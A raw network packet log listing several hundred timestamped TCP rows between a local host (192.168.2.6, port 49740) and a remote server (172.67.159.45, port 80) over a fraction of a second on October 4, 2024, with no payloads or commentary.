Oct 4, 2024 04:28:05.422688961 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.422714949 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422724962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422728062 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.422734976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422746897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422755957 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422760963 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.422766924 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422777891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422785997 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.422812939 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.422835112 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.423806906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.423819065 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.423830032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.423871994 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.423897028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.423907995 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.423908949 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.423922062 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.423933029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.423964977 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.424001932 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.504200935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.504215002 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.504244089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.504276037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.504287958 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.504297972 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.504307985 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.504319906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.504328966 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.504375935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.504385948 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.504409075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.504421949 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.504422903 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.504437923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.504458904 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.504467010 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.504471064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.504482985 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.504494905 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.504512072 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.504543066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.511137009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511159897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511174917 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511207104 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.511236906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511239052 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.511248112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511257887 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511261940 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.511267900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511279106 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511280060 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.511303902 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.511343956 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.511755943 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511768103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511785030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511795044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511806011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511821032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511831999 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.511831999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511841059 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511857033 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.511858940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511869907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511879921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511884928 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.511914968 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.511934042 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.511939049 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511950016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511959076 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511969090 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511979103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.511987925 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.512029886 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.514292002 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.514302969 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.514391899 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.522464991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.522603989 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.522612095 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.522614956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.522624016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.522634029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.522643089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.522654057 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.522677898 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.522732973 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.522743940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.522754908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.522763968 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.522780895 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.522790909 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.522802114 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.522805929 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.522814035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.522825003 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.522835970 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.522842884 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.522886038 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.523025036 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523036003 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523045063 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523056030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523067951 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523078918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523081064 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.523091078 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523106098 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.523109913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523130894 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.523153067 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.523169994 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523216009 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.523375034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523392916 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523405075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523421049 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523426056 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.523432016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523442984 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523453951 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523453951 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.523463964 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523474932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523484945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523495913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523499966 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.523505926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523515940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523519039 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.523526907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523536921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523545980 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.523547888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523559093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523569107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523580074 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.523580074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523597002 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523607016 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.523608923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523619890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523628950 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.523672104 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.523926973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523937941 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523947954 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.523983002 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.524005890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.524085045 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.524096012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.524136066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.524154902 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.524260044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.524271965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.524281979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.524291992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.524302006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.524312973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.524313927 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.524324894 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.524334908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.524341106 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.524346113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.524346113 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.524357080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.524367094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.524372101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.524399996 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.524435997 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.524981022 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.524993896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.525003910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.525015116 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.525024891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.525036097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.525042057 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.525046110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.525058031 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.525099039 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.525122881 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.596577883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.596623898 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.596637964 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.596652031 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.596667051 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.596674919 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.596688032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.596689939 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.596707106 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.596723080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.596750021 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.596760988 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.596791983 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.596792936 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.596807957 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.596823931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.596842051 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.596852064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.596863985 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.596868038 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.596873999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.596936941 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.596946955 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.596960068 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.596992016 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.597023964 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.603735924 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.603755951 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.603770971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.603785038 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.603797913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.603811979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.603826046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.603835106 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.603840113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.603895903 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.604012966 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.604032040 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.604064941 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.604099035 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.604099035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.604114056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.604144096 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.604155064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.604163885 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.604176998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.604192019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.604197979 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.604206085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.604222059 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.604222059 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.604260921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.604274035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.604274035 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.604288101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.604302883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.604310036 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.604315996 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.604352951 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.604387045 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.604700089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.604720116 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.604752064 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.604774952 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.614830971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.614851952 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.614883900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.614907026 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.614921093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.614933968 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.614933968 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.614936113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.614950895 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.614967108 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.614981890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.614986897 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615029097 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615039110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615052938 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615067005 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615080118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615082979 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615096092 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615109921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615123987 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615125895 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615139008 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615169048 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615189075 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615216970 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615231991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615247011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615262032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615276098 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615314960 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615364075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615379095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615401030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615406036 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615415096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615430117 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615447998 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615483046 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615529060 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615561962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615572929 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615576982 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615590096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615602970 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615607977 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615617037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615629911 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615633011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615645885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615658998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615669012 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615673065 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615688086 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615695000 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615719080 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615740061 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615822077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615837097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615849972 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615864038 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.615871906 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.615912914 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.616064072 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616077900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616086006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616092920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616101027 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616108894 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616116047 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616128922 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616142988 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616156101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616170883 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.616173029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616188049 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616199970 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.616203070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616218090 CEST	80	49740	172.67.159.45	192.168.2.6
